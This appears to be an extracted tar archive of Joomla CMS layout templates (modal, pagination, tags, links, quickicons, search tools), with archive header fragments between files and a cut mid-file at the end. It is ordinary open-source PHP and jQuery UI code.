JHtml::_('script', 'jui/sortablelist.js',
array('version' => 'auto', 'relative'
=> true));
JHtml::_('stylesheet', 'jui/sortablelist.css',
array('version' => 'auto', 'relative'
=> true));
// Attach sortable to document
JFactory::getDocument()->addScriptDeclaration(
"
jQuery(document).ready(function ($){
var sortableList = new $.JSortableList('#"
. $tableId . " tbody','" . $formId .
"','" . $sortDir . "' , '" .
$saveOrderingUrl . "','','" . $nestedList .
"');
});
"
);
if ($proceedSaveOrderButton)
{
JFactory::getDocument()->addScriptDeclaration(
"
jQuery(document).ready(function ($){
var saveOrderButton = $('.saveorder');
saveOrderButton.css({'opacity':'0.2',
'cursor':'default'}).attr('onclick','return
false;');
var oldOrderingValue = '';
$('.text-area-order').focus(function ()
{
oldOrderingValue = $(this).attr('value');
})
.keyup(function (){
var newOrderingValue = $(this).attr('value');
if (oldOrderingValue != newOrderingValue)
{
saveOrderButton.css({'opacity':'1',
'cursor':'pointer'}).removeAttr('onclick')
}
});
});
"
);
}
joomla/html/tag.php000064400000006416151161525070010267 0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Registry\Registry;
/**
* Layout variables
* ---------------------
*
* @var string $selector The id of the field
* @var string $minTermLength The minimum number of characters for the
tag
* @var boolean $allowCustom Can we insert custom tags?
*/
extract($displayData);
// Tags field ajax
$chosenAjaxSettings = new Registry(
array(
'selector' => $selector,
'type' => 'GET',
'url' => JUri::root() .
'index.php?option=com_tags&task=tags.searchAjax',
'dataType' => 'json',
'jsonTermKey' => 'like',
'minTermLength' => $minTermLength
)
);
JHtml::_('formbehavior.ajaxchosen', $chosenAjaxSettings);
// Allow custom values?
if ($allowCustom)
{
JFactory::getDocument()->addScriptDeclaration(
"
jQuery(document).ready(function ($) {
var customTagPrefix = '#new#';
function tagHandler(event,element) {
// Search a highlighted result
var highlighted = $('" . $selector .
"_chzn').find('li.active-result.highlighted').first();
// Add the highlighted option
if (event.which === 13 && highlighted.text() !== '')
{
// Extra check. If we have added a custom tag with element text remove
it
var customOptionValue = customTagPrefix + highlighted.text();
$('" . $selector . " option').filter(function () {
return $(element).val() == customOptionValue; }).remove();
// Select the highlighted result
var tagOption = $('" . $selector . "
option').filter(function () { return $(element).html() ==
highlighted.text(); });
tagOption.attr('selected', 'selected');
}
// Add the custom tag option
else
{
var customTag = element.value;
// Extra check. Search if the custom tag already exists (typed faster
than AJAX ready)
var tagOption = $('" . $selector . "
option').filter(function () { return $(element).html() == customTag;
});
if (tagOption.text() !== '')
{
tagOption.attr('selected', 'selected');
}
else
{
var option = $('<option>');
option.text(element.value).val(customTagPrefix + element.value);
option.attr('selected','selected');
// Append the option and repopulate the chosen field
$('" . $selector . "').append(option);
}
}
element.value = '';
$('" . $selector .
"').trigger('liszt:updated');
}
// Method to add tags pressing comma
$('" . $selector . "_chzn
input').keypress(function(event) {
if (event.charCode === 44)
{
// Tag is greater than the minimum required chars
if (this.value && this.value.length >= " .
$minTermLength . ")
{
tagHandler(event, this);
}
// Do not add comma to tag at all
event.preventDefault();
}
});
// Method to add tags pressing enter
$('" . $selector . "_chzn
input').keyup(function(event) {
// Tag is greater than the minimum required chars and enter pressed
if (event.which === 13 && this.value &&
this.value.length >= " . $minTermLength . ")
{
tagHandler(event,this);
event.preventDefault();
}
});
});
"
);
}
joomla/html/treeprefix.php000064400000001066151161525070011665
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var integer $level The level of the item in the tree like
structure.
*
* @since 3.6.0
*/
if ($level > 1) {
echo '<span class="text-muted">' .
str_repeat('⋮ ', (int)
$level - 2) . '</span>– ';
}
joomla/links/groupclose.php000064400000000405151161525070012042
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
</ul>
joomla/links/groupopen.php000064400000000701151161525070011675
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text;
use Joomla\Filter\OutputFilter;
?>
<h2 class="nav-header"><?php echo
OutputFilter::ampReplace(Text::_($displayData)); ?></h2>
<ul class="j-links-group nav nav-list">
joomla/links/groupsclose.php000064400000000406151161525070012226
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
</div>
joomla/links/groupseparator.php000064400000000445151161525070012741
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<div class="j-links-separator"></div>
joomla/links/groupsopen.php000064400000000434151161525070012063
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<div class="j-links-groups">
joomla/links/link.php000064400000002171151161525070010617 0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Filter\OutputFilter;
$id = empty($displayData['id']) ? '' : ('
id="' . $displayData['id'] . '"');
$target = empty($displayData['target']) ? '' : ('
target="' . $displayData['target'] .
'"');
$rel = empty($displayData['rel']) ? '' : ('
rel="' . $displayData['rel'] . '"');
$onclick = empty($displayData['onclick']) ? '' :
(' onclick="' . $displayData['onclick'] .
'"');
$title = empty($displayData['title']) ? '' : ('
title="' . $this->escape($displayData['title']) .
'"');
$text = empty($displayData['text']) ? '' :
('<span class="j-links-link">' .
$displayData['text'] . '</span>')
?>
<li<?php echo $id; ?>>
<a href="<?php echo
OutputFilter::ampReplace($displayData['link']);
?>"<?php echo $target . $rel . $onclick . $title; ?>>
<span class="<?php echo $displayData['image'];
?>" aria-hidden="true"></span>
<?php echo $text; ?>
</a>
</li>
joomla/modal/body.php000064400000004255151161525070010600 0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* ------------------
* @param string $selector Unique DOM identifier for the modal. CSS id
without #
* @param array $params Modal parameters. Default supported
parameters:
* - title string The modal title
* - backdrop mixed A boolean select if
a modal-backdrop element should be included (default = true)
* The string
'static' includes a backdrop which doesn't close the modal
on click.
* - keyboard boolean Closes the modal
when escape key is pressed (default = true)
* - closeButton boolean Display modal close
button (default = true)
* - animation boolean Fade in from the top
of the page (default = true)
* - footer string Optional markup for
the modal footer
* - url string URL of a resource to
be inserted as an <iframe> inside the modal body
* - height string height of the
<iframe> containing the remote resource
* - width string width of the
<iframe> containing the remote resource
* - bodyHeight int Optional height of
the modal body in viewport units (vh)
* - modalWidth int Optional width of
the modal in viewport units (vh)
* @param string $body Markup for the modal body. Appended after
the <iframe> if the URL option is set
*
*/
$bodyClass = 'modal-body';
$bodyHeight = isset($params['bodyHeight']) ? round((int)
$params['bodyHeight'], -1) : '';
if ($bodyHeight && $bodyHeight >= 20 && $bodyHeight <
90)
{
$bodyClass .= ' jviewport-height' . $bodyHeight;
}
?>
<div class="<?php echo $bodyClass; ?>">
<?php echo $body; ?>
</div>
joomla/modal/footer.php000064400000003704151161525070011137
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* ------------------
* @param string $selector Unique DOM identifier for the modal. CSS id
without #
* @param array $params Modal parameters. Default supported
parameters:
* - title string The modal title
* - backdrop mixed A boolean select if
a modal-backdrop element should be included (default = true)
* The string
'static' includes a backdrop which doesn't close the modal
on click.
* - keyboard boolean Closes the modal
when escape key is pressed (default = true)
* - closeButton boolean Display modal close
button (default = true)
* - animation boolean Fade in from the top
of the page (default = true)
* - footer string Optional markup for
the modal footer
* - url string URL of a resource to
be inserted as an <iframe> inside the modal body
* - height string height of the
<iframe> containing the remote resource
* - width string width of the
<iframe> containing the remote resource
* - bodyHeight int Optional height of
the modal body in viewport units (vh)
* - modalWidth int Optional width of
the modal in viewport units (vh)
* @param string $body Markup for the modal body. Appended after
the <iframe> if the URL option is set
*
*/
?>
<div class="modal-footer">
<?php echo $params['footer']; ?>
</div>
joomla/modal/header.php000064400000004461151161525070011072
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* ------------------
* @param string $selector Unique DOM identifier for the modal. CSS id
without #
* @param array $params Modal parameters. Default supported
parameters:
* - title string The modal title
* - backdrop mixed A boolean select if
a modal-backdrop element should be included (default = true)
* The string
'static' includes a backdrop which doesn't close the modal
on click.
* - keyboard boolean Closes the modal
when escape key is pressed (default = true)
* - closeButton boolean Display modal close
button (default = true)
* - animation boolean Fade in from the top
of the page (default = true)
* - footer string Optional markup for
the modal footer
* - url string URL of a resource to
be inserted as an <iframe> inside the modal body
* - height string height of the
<iframe> containing the remote resource
* - width string width of the
<iframe> containing the remote resource
* - bodyHeight int Optional height of
the modal body in viewport units (vh)
* - modalWidth int Optional width of
the modal in viewport units (vh)
* @param string $body Markup for the modal body. Appended after
the <iframe> if the URL option is set
*
*/
?>
<div class="modal-header">
<?php if (!isset($params['closeButton']) ||
$params['closeButton']) : ?>
<button
type="button"
class="close novalidate"
data-dismiss="modal"
aria-label="<?php echo
JText::_('JLIB_HTML_BEHAVIOR_CLOSE'); ?>"
>
<span aria-hidden="true">×</span>
</button>
<?php endif; ?>
<?php if (isset($params['title'])) : ?>
<h3><?php echo $params['title']; ?></h3>
<?php endif; ?>
</div>
joomla/modal/iframe.php000064400000005055151161525070011105
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Utilities\ArrayHelper;
extract($displayData);
/**
* Layout variables
* ------------------
* @param string $selector Unique DOM identifier for the modal. CSS id
without #
* @param array $params Modal parameters. Default supported
parameters:
* - title string The modal title
* - backdrop mixed A boolean select if
a modal-backdrop element should be included (default = true)
* The string
'static' includes a backdrop which doesn't close the modal
on click.
* - keyboard boolean Closes the modal
when escape key is pressed (default = true)
* - closeButton boolean Display modal close
button (default = true)
* - animation boolean Fade in from the top
of the page (default = true)
* - footer string Optional markup for
the modal footer
* - url string URL of a resource to
be inserted as an <iframe> inside the modal body
* - height string height of the
<iframe> containing the remote resource
* - width string width of the
<iframe> containing the remote resource
* - bodyHeight int Optional height of
the modal body in viewport units (vh)
* - modalWidth int Optional width of
the modal in viewport units (vh)
* @param string $body Markup for the modal body. Appended after
the <iframe> if the URL option is set
*
*/
$iframeClass = 'iframe';
$bodyHeight = isset($params['bodyHeight']) ? round((int)
$params['bodyHeight'], -1) : '';
if ($bodyHeight && $bodyHeight >= 20 && $bodyHeight <
90)
{
$iframeClass .= ' jviewport-height' . $bodyHeight;
}
$iframeAttributes = array(
'class' => $iframeClass,
'src' => $params['url']
);
if (isset($params['title']))
{
$iframeAttributes['name'] =
addslashes($params['title']);
}
if (isset($params['height']))
{
$iframeAttributes['height'] = $params['height'];
}
if (isset($params['width']))
{
$iframeAttributes['width'] = $params['width'];
}
?>
<iframe <?php echo ArrayHelper::toString($iframeAttributes);
?>></iframe>
joomla/modal/main.php000064400000016670151161525070010573 0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Utilities\ArrayHelper;
// Load bootstrap-tooltip-extended plugin for additional tooltip positions
in modal
JHtml::_('bootstrap.tooltipExtended');
extract($displayData);
/**
* Layout variables
* ------------------
* @param string $selector Unique DOM identifier for the modal. CSS id
without #
* @param array $params Modal parameters. Default supported
parameters:
* - title string The modal title
* - backdrop mixed A boolean select if
a modal-backdrop element should be included (default = true)
* The string
'static' includes a backdrop which doesn't close the modal
on click.
* - keyboard boolean Closes the modal
when escape key is pressed (default = true)
* - closeButton boolean Display modal close
button (default = true)
* - animation boolean Fade in from the top
of the page (default = true)
* - url string URL of a resource to
be inserted as an <iframe> inside the modal body
* - height string height of the
<iframe> containing the remote resource
* - width string width of the
<iframe> containing the remote resource
* - bodyHeight int Optional height of
the modal body in viewport units (vh)
* - modalWidth int Optional width of
the modal in viewport units (vh)
* - footer string Optional markup for
the modal footer
* @param string $body Markup for the modal body. Appended after
the <iframe> if the URL option is set
*
*/
$modalClasses = array('modal', 'hide');
if (!isset($params['animation']) ||
$params['animation'])
{
$modalClasses[] = 'fade';
}
$modalWidth = isset($params['modalWidth']) ? round((int)
$params['modalWidth'], -1) : '';
if ($modalWidth && $modalWidth > 0 && $modalWidth <=
100)
{
$modalClasses[] = 'jviewport-width' . $modalWidth;
}
$modalAttributes = array(
'tabindex' => '-1',
'class' => implode(' ', $modalClasses)
);
if (isset($params['backdrop']))
{
$modalAttributes['data-backdrop'] =
(is_bool($params['backdrop']) ? ($params['backdrop'] ?
'true' : 'false') : $params['backdrop']);
}
if (isset($params['keyboard']))
{
$modalAttributes['data-keyboard'] =
(is_bool($params['keyboard']) ? ($params['keyboard'] ?
'true' : 'false') : 'true');
}
/**
* These lines below are for disabling scrolling of parent window.
* $('body').addClass('modal-open');
* $('body').removeClass('modal-open')
*
* Scrolling inside bootstrap modals on small screens (adapt to window
viewport and avoid modal off screen).
* - max-height .modal-body Max-height for the modal body
* When height of the modal is too
high for the window viewport height.
* - max-height .iframe Max-height for the iframe
(Deducting the padding of the modal-body)
* When URL option is set and height
of the iframe is higher than max-height of the modal body.
*
* Fix iOS scrolling inside bootstrap modals
* - overflow-y .modal-body When max-height is set for
modal-body
*
* Specific hack for Bootstrap 2.3.x
*/
$script[] = "jQuery(document).ready(function($) {";
$script[] = " $('#" . $selector .
"').on('show.bs.modal', function() {";
$script[] = "
$('body').addClass('modal-open');";
if (isset($params['url']))
{
$iframeHtml = JLayoutHelper::render('joomla.modal.iframe',
$displayData);
// Script for destroying and reloading the iframe
$script[] = " var modalBody =
$(this).find('.modal-body');";
$script[] = "
modalBody.find('iframe').remove();";
$script[] = " modalBody.prepend('" .
trim($iframeHtml) . "');";
}
else
{
// Set modalTooltip container to modal ID (selector), and placement to
top-left if no data attribute (bootstrap-tooltip-extended.js)
$script[] = "
$('.modalTooltip').each(function(){;";
$script[] = " var attr =
$(this).attr('data-placement');";
$script[] = " if ( attr === undefined || attr === false )
$(this).attr('data-placement', 'auto-dir
top-left')";
$script[] = " });";
$script[] = "
$('.modalTooltip').tooltip({'html': true,
'container': '#" . $selector . "'});";
}
// Adapt modal body max-height to window viewport if needed, when the modal
has been made visible to the user.
$script[] = " }).on('shown.bs.modal', function() {";
// Get height of the modal elements.
$script[] = " var modalHeight =
$('div.modal:visible').outerHeight(true),";
$script[] = " modalHeaderHeight =
$('div.modal-header:visible').outerHeight(true),";
$script[] = " modalBodyHeightOuter =
$('div.modal-body:visible').outerHeight(true),";
$script[] = " modalBodyHeight =
$('div.modal-body:visible').height(),";
$script[] = " modalFooterHeight =
$('div.modal-footer:visible').outerHeight(true),";
// Get padding top (jQuery position().top not working on iOS devices and
webkit browsers, so use of Javascript instead)
$script[] = " padding = document.getElementById('"
. $selector . "').offsetTop,";
// Calculate max-height of the modal, adapted to window viewport height.
$script[] = " maxModalHeight =
($(window).height()-(padding*2)),";
// Calculate max-height for modal-body.
$script[] = " modalBodyPadding =
(modalBodyHeightOuter-modalBodyHeight),";
$script[] = " maxModalBodyHeight =
maxModalHeight-(modalHeaderHeight+modalFooterHeight+modalBodyPadding);";
if (isset($params['url']))
{
// Set max-height for iframe if needed, to adapt to viewport height.
$script[] = " var iframeHeight =
$('.iframe').height();";
$script[] = " if (iframeHeight >
maxModalBodyHeight){;";
$script[] = "
$('.modal-body').css({'max-height': maxModalBodyHeight,
'overflow-y': 'auto'});";
$script[] = "
$('.iframe').css('max-height',
maxModalBodyHeight-modalBodyPadding);";
$script[] = " }";
}
else
{
// Set max-height for modal-body if needed, to adapt to viewport height.
$script[] = " if (modalHeight > maxModalHeight){;";
$script[] = "
$('.modal-body').css({'max-height': maxModalBodyHeight,
'overflow-y': 'auto'});";
$script[] = " }";
}
$script[] = " }).on('hide.bs.modal', function () {";
$script[] = "
$('body').removeClass('modal-open');";
$script[] = "
$('.modal-body').css({'max-height':
'initial', 'overflow-y': 'initial'});";
$script[] = "
$('.modalTooltip').tooltip('destroy');";
$script[] = " });";
$script[] = "});";
JFactory::getDocument()->addScriptDeclaration(implode("\n",
$script));
?>
<div id="<?php echo $selector; ?>" <?php echo
ArrayHelper::toString($modalAttributes); ?>>
<?php
// Header
if (!isset($params['closeButton']) ||
isset($params['title']) || $params['closeButton'])
{
echo JLayoutHelper::render('joomla.modal.header',
$displayData);
}
// Body
echo JLayoutHelper::render('joomla.modal.body', $displayData);
// Footer
if (isset($params['footer']))
{
echo JLayoutHelper::render('joomla.modal.footer',
$displayData);
}
?>
</div>
joomla/pagination/link.php000064400000005665151161525070011643
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2014 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
$item = $displayData['data'];
$display = $item->text;
$app = Factory::getApplication();
switch ((string) $item->text) {
// Check for "Start" item
case Text::_('JLIB_HTML_START'):
$icon = $app->getLanguage()->isRtl() ?
'icon-angle-double-right' : 'icon-angle-double-left';
$aria = Text::sprintf('JLIB_HTML_GOTO_POSITION',
strtolower($item->text));
break;
// Check for "Prev" item
case $item->text === Text::_('JPREV'):
$item->text = Text::_('JPREVIOUS');
$icon = $app->getLanguage()->isRtl() ?
'icon-angle-right' : 'icon-angle-left';
$aria = Text::sprintf('JLIB_HTML_GOTO_POSITION',
strtolower($item->text));
break;
// Check for "Next" item
case Text::_('JNEXT'):
$icon = $app->getLanguage()->isRtl() ?
'icon-angle-left' : 'icon-angle-right';
$aria = Text::sprintf('JLIB_HTML_GOTO_POSITION',
strtolower($item->text));
break;
// Check for "End" item
case Text::_('JLIB_HTML_END'):
$icon = $app->getLanguage()->isRtl() ?
'icon-angle-double-left' : 'icon-angle-double-right';
$aria = Text::sprintf('JLIB_HTML_GOTO_POSITION',
strtolower($item->text));
break;
default:
$icon = null;
$aria = Text::sprintf('JLIB_HTML_GOTO_PAGE',
strtolower($item->text));
break;
}
if ($icon !== null) {
$display = '<span class="' . $icon . '"
aria-hidden="true"></span>';
}
if ($displayData['active']) {
if ($item->base > 0) {
$limit = 'limitstart.value=' . $item->base;
} else {
$limit = 'limitstart.value=0';
}
$class = 'active';
if ($app->isClient('administrator')) {
$link = 'href="#"
onclick="document.adminForm.' . $item->prefix . $limit .
'; Joomla.submitform();return false;"';
} elseif ($app->isClient('site')) {
$link = 'href="' . $item->link .
'"';
}
} else {
$class = (property_exists($item, 'active') &&
$item->active) ? 'active' : 'disabled';
}
?>
<?php if ($displayData['active']) : ?>
<li class="page-item">
<a aria-label="<?php echo $aria; ?>" <?php
echo $link; ?> class="page-link">
<?php echo $display; ?>
</a>
</li>
<?php elseif (isset($item->active) && $item->active) :
?>
<?php $aria = Text::sprintf('JLIB_HTML_PAGE_CURRENT',
strtolower($item->text)); ?>
<li class="<?php echo $class; ?> page-item">
<a aria-current="true" aria-label="<?php echo
$aria; ?>" href="#"
class="page-link"><?php echo $display; ?></a>
</li>
<?php else : ?>
<li class="<?php echo $class; ?> page-item">
<span class="page-link"
aria-hidden="true"><?php echo $display; ?></span>
</li>
<?php endif; ?>
joomla/pagination/links.php000064400000005675151161525070012027
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2014 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\Registry\Registry;
$list = $displayData['list'];
$pages = $list['pages'];
$options = new Registry($displayData['options']);
$showLimitBox = $options->get('showLimitBox', false);
$showPagesLinks = $options->get('showPagesLinks', true);
$showLimitStart = $options->get('showLimitStart', true);
// Calculate to display range of pages
$currentPage = 1;
$range = 1;
$step = 5;
if (!empty($pages['pages'])) {
foreach ($pages['pages'] as $k => $page) {
if (!$page['active']) {
$currentPage = $k;
}
}
}
if ($currentPage >= $step) {
if ($currentPage % $step === 0) {
$range = ceil($currentPage / $step) + 1;
} else {
$range = ceil($currentPage / $step);
}
}
?>
<?php if (!empty($pages)) : ?>
<nav class="pagination__wrapper" aria-label="<?php
echo Text::_('JLIB_HTML_PAGINATION'); ?>">
<div class="pagination pagination-toolbar
text-center">
<?php if ($showLimitBox) : ?>
<div class="limit float-end">
<?php echo Text::_('JGLOBAL_DISPLAY_NUM')
. $list['limitfield']; ?>
</div>
<?php endif; ?>
<?php if ($showPagesLinks) : ?>
<ul class="pagination ms-auto mb-4 me-0">
<?php echo
LayoutHelper::render('joomla.pagination.link',
$pages['start']); ?>
<?php echo
LayoutHelper::render('joomla.pagination.link',
$pages['previous']); ?>
<?php foreach ($pages['pages'] as $k =>
$page) : ?>
<?php $output =
LayoutHelper::render('joomla.pagination.link', $page); ?>
<?php if (in_array($k, range($range * $step -
($step + 1), $range * $step), true)) : ?>
<?php if (($k % $step === 0 || $k === $range
* $step - ($step + 1)) && $k !== $currentPage && $k !==
$range * $step - $step) : ?>
<?php $output =
preg_replace('#(<a.*?>).*?(</a>)#',
'$1...$2', $output); ?>
<?php endif; ?>
<?php endif; ?>
<?php echo $output; ?>
<?php endforeach; ?>
<?php echo
LayoutHelper::render('joomla.pagination.link',
$pages['next']); ?>
<?php echo
LayoutHelper::render('joomla.pagination.link',
$pages['end']); ?>
</ul>
<?php endif; ?>
<?php if ($showLimitStart) : ?>
<input type="hidden" name="<?php echo
$list['prefix']; ?>limitstart" value="<?php echo
$list['limitstart']; ?>">
<?php endif; ?>
</div>
</nav>
<?php endif; ?>
joomla/pagination/list.php000064400000001407151161525070011647
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text;
$list = $displayData['list'];
?>
<nav class="pagination__wrapper" aria-label="<?php
echo Text::_('JLIB_HTML_PAGINATION'); ?>">
<ul class="pagination ms-0 mb-4">
<?php echo $list['start']['data']; ?>
<?php echo $list['previous']['data']; ?>
<?php foreach ($list['pages'] as $page) : ?>
<?php echo $page['data']; ?>
<?php endforeach; ?>
<?php echo $list['next']['data']; ?>
<?php echo $list['end']['data']; ?>
</ul>
</nav>
joomla/quickicons/icon.php000064400000006325151161525070011647
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text;
$id = empty($displayData['id']) ? '' : ('
id="' . $displayData['id'] . '"');
$target = empty($displayData['target']) ? '' : ('
target="' . $displayData['target'] .
'"');
$onclick = empty($displayData['onclick']) ? '' :
(' onclick="' . $displayData['onclick'] .
'"');
if (isset($displayData['ajaxurl'])) {
$dataUrl = 'data-url="' .
$displayData['ajaxurl'] . '"';
} else {
$dataUrl = '';
}
// The title for the link (a11y)
$title = empty($displayData['title']) ? '' : ('
title="' . $this->escape($displayData['title']) .
'"');
// The information
$text = empty($displayData['text']) ? '' :
('<span class="j-links-link">' .
$displayData['text'] . '</span>');
// Make the class string
$class = empty($displayData['class']) ? '' : ('
class="' . $this->escape($displayData['class']) .
'"');
?>
<?php // If it is a button with two links: make it a list
if (isset($displayData['linkadd'])) : ?>
<li class="quickicon-group">
<ul class="list-unstyled d-flex w-100">
<li class="quickicon">
<?php else : ?>
<li class="quickicon quickicon-single">
<?php endif; ?>
<a <?php echo $id . $class; ?> href="<?php echo
$displayData['link']; ?>"<?php echo $target . $onclick
. $title; ?>>
<div class="quickicon-info">
<?php if (isset($displayData['image'])) :
?>
<div class="quickicon-icon">
<div class="<?php echo
$displayData['image']; ?>"
aria-hidden="true"></div>
</div>
<?php endif; ?>
<?php if (isset($displayData['ajaxurl'])) :
?>
<div class="quickicon-amount" <?php
echo $dataUrl ?> aria-hidden="true">
<span class="icon-spinner"
aria-hidden="true"></span>
</div>
<div class="quickicon-sr-desc
visually-hidden"></div>
<?php endif; ?>
</div>
<?php // Name indicates the component
if (isset($displayData['name'])) : ?>
<div class="quickicon-name d-flex
align-items-end" <?php echo
isset($displayData['ajaxurl']) ? '
aria-hidden="true"' : ''; ?>>
<?php echo Text::_($displayData['name']);
?>
</div>
<?php endif; ?>
<?php // Information or action from plugins
if (isset($displayData['text'])) : ?>
<div class="quickicon-name d-flex
align-items-center">
<?php echo $text; ?>
</div>
<?php endif; ?>
</a>
</li>
<?php // Add the link to the edit-form
if (isset($displayData['linkadd'])) : ?>
<li class="quickicon-linkadd j-links-link d-flex">
<a class="d-flex" href="<?php echo
$displayData['linkadd']; ?>" title="<?php echo
Text::_($displayData['name'] . '_ADD'); ?>">
<span class="icon-plus"
aria-hidden="true"></span>
</a>
</li>
</ul>
</li>
<?php endif; ?>
joomla/searchtools/default/bar.php000064400000004305151161525070013261
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text;
use Joomla\Registry\Registry;
$data = $displayData;
// Receive overridable options
$data['options'] = !empty($data['options']) ?
$data['options'] : [];
if (is_array($data['options'])) {
$data['options'] = new Registry($data['options']);
}
// Options
$filterButton =
$data['options']->get('filterButton', true);
$searchButton =
$data['options']->get('searchButton', true);
$filters =
$data['view']->filterForm->getGroup('filter');
if (empty($filters['filter_search']) || !$searchButton) {
return;
}
?>
<div class="filter-search-bar btn-group">
<div class="input-group">
<?php echo $filters['filter_search']->input; ?>
<?php if ($filters['filter_search']->description) :
?>
<div role="tooltip" id="<?php echo
($filters['filter_search']->id ?:
$filters['filter_search']->name) . '-desc';
?>" class="filter-search-bar__description">
<?php echo
htmlspecialchars(Text::_($filters['filter_search']->description),
ENT_COMPAT, 'UTF-8'); ?>
</div>
<?php endif; ?>
<span class="filter-search-bar__label
visually-hidden">
<?php echo $filters['filter_search']->label;
?>
</span>
<button type="submit"
class="filter-search-bar__button btn btn-primary"
aria-label="<?php echo Text::_('JSEARCH_FILTER_SUBMIT');
?>">
<span class="filter-search-bar__button-icon
icon-search" aria-hidden="true"></span>
</button>
</div>
</div>
<div class="filter-search-actions btn-group">
<?php if ($filterButton) : ?>
<button type="button"
class="filter-search-actions__button btn btn-primary
js-stools-btn-filter">
<?php echo Text::_('JFILTER_OPTIONS'); ?>
<span class="icon-angle-down"
aria-hidden="true"></span>
</button>
<?php endif; ?>
<button type="button"
class="filter-search-actions__button btn btn-primary
js-stools-btn-clear">
<?php echo Text::_('JSEARCH_FILTER_CLEAR'); ?>
</button>
</div>
joomla/searchtools/default/filters.php000064400000002413151161525070014163
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\FormHelper;
$data = $displayData;
// Load the form filters
$filters =
$data['view']->filterForm->getGroup('filter');
/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = Factory::getApplication()->getDocument()->getWebAssetManager();
?>
<?php if ($filters) : ?>
<?php foreach ($filters as $fieldName => $field) : ?>
<?php if ($fieldName !== 'filter_search') : ?>
<?php $dataShowOn = ''; ?>
<?php if ($field->showon) : ?>
<?php $wa->useScript('showon'); ?>
<?php $dataShowOn = " data-showon='" .
json_encode(FormHelper::parseShowOnConditions($field->showon,
$field->formControl, $field->group)) . "'"; ?>
<?php endif; ?>
<div class="js-stools-field-filter"<?php echo
$dataShowOn; ?>>
